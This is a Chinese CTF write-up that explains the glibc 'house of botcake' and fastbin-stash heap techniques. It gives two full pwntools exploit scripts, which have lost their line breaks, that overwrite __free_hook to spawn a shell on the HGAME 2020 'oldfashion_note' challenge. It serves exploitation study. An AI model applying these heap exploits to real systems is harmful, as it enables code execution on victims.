house of botcake
在 glibc 2.29 当中 tcache 增加了 key 字段,让原本的 tcache-dup 不像原来那么简单了。一般来说我们需要破坏 key 字段,才能继续进行 double free。而 house of botcake 采用的思想是避免出现 key 字段那么就无需覆盖。他是在填满 tcache 之后,再连续释放两个相邻的堆块使其合并放到 unsorted bin 里,这样就不会产生 key 字段,然后从 tcache 中申请出一个堆块,再释放合并进入 unsorted bin 的后释放的堆块。那么这个 chunk 既出现在 tcache 里,又出现在 unsorted bin 里。 我们通过申请合理的堆块就可以控制 tcache 的 next 指针,从而达到任意地址分配。
以 HGAME 2020 第二周的 oldfashion_note 来看:
from pwn import * from hashlib import * context.arch = 'amd64' context.log_level = 'debug' #s = process('./note') s = remote('chuj.top',51327) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def getYZM(s64): assert len(s64)==64 table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" s64=s64.decode() for i in table: for j in table: for k in table: for l in table: st=(i+j+k+l).encode() if sha256(st).hexdigest()==s64: return st def add(index,size,content): s.sendlineafter(b'>> ' , b'1') s.sendlineafter(b'>> ' , str(index)) s.sendlineafter(b'>> ' , str(size)) s.sendafter(b'>> ' , content) def show(index): s.sendlineafter(b'>> ' , b'2') s.sendlineafter(b'>> ' , str(index)) def delete(index): s.sendlineafter(b'>> ' , b'3') s.sendlineafter(b'>> ' , str(index)) sh=s.recvuntil(b") == ") s64=s.recvline(keepends=False) s.sendline(getYZM(s64)) for i in range(7): add(i , 0x90 , b'a') add(7 , 0x90 , b'a') add(8 , 0x90 , b'a') add(9 , 0x90 , b'a') for i in range(7): delete(i) delete(7) delete(8) show(7) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] success(hex(libc_base)) system_addr = libc_base + libc.sym['system'] __free_hook = libc_base + libc.sym['__free_hook'] add(10 , 0x90 , b'a') delete(8) payload = b'a'*0x90 + p64(0) + p64(0xa1) + p64(__free_hook) add(11 , 0xb0 , payload) add(12 , 0x90 , b'/bin/sh\x00') add(13 , 0x90 , p64(system_addr)) delete(12) #gdb.attach(s) s.interactive()
官方wp用的是 fastbin stash 机制,也就是 fastbin reverse into tcache。这里显然是无法直接对 tcache 进行 double free 了,但是我们依旧可以对 fastbin 进行 double free。然后再把 tcache 填满,再申请 fastbin 出一个 __free_hook ,那么 fastbin 里剩余的两个 chunk 以及这个 __free_hook 都会被放进 tcache 中。在 glibc 2.29 中引入的 stash 机制后,在某一大小 tcache 无 chunk 时,再从与之相同大小的 fastbin 里申请出 chunk,若此时该大小 fastbin 链表里还有其他 chunk,则会被 stash 进 tcache,直至 tcache 填满。
官方exp:
from pwn import * from hashlib import * context.arch = 'amd64' context.log_level = 'debug' s = process('./note') #s = remote('chuj.top',51327) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def getYZM(s64): assert len(s64)==64 table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" s64=s64.decode() for i in table: for j in table: for k in table: for l in table: st=(i+j+k+l).encode() if sha256(st).hexdigest()==s64: return st def add(index,size,content): s.sendlineafter(b'>> ' , b'1') s.sendlineafter(b'>> ' , str(index)) s.sendlineafter(b'>> ' , str(size)) s.sendafter(b'>> ' , content) def show(index): s.sendlineafter(b'>> ' , b'2') s.sendlineafter(b'>> ' , str(index)) def delete(index): s.sendlineafter(b'>> ' , b'3') s.sendlineafter(b'>> ' , str(index)) #sh=s.recvuntil(b") == ") #s64=s.recvline(keepends=False) #s.sendline(getYZM(s64)) for i in range(8): add(i , 0x100 , b'a') for i in range(1,8): delete(i) delete(0) show(0) libc_base = u64(s.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96 success("libc_base=>" + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook'] for i in range(10): add(i , 0x60 ,b'a') for i in range(7): delete(i) delete(9) delete(10) delete(7) delete(8) delete(7) for i in range(7): add(i , 0x60 ,b'a') add(0, 0x60, p64(libc_base + libc.sym['__free_hook'])) add(1, 0x60, b'\n') add(2, 0x60, b'/bin/sh\x00\n') add(3, 0x60, p64(libc_base + libc.sym['system'])) delete(2) #gdb.attach(s) s.interactive()
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15856680.html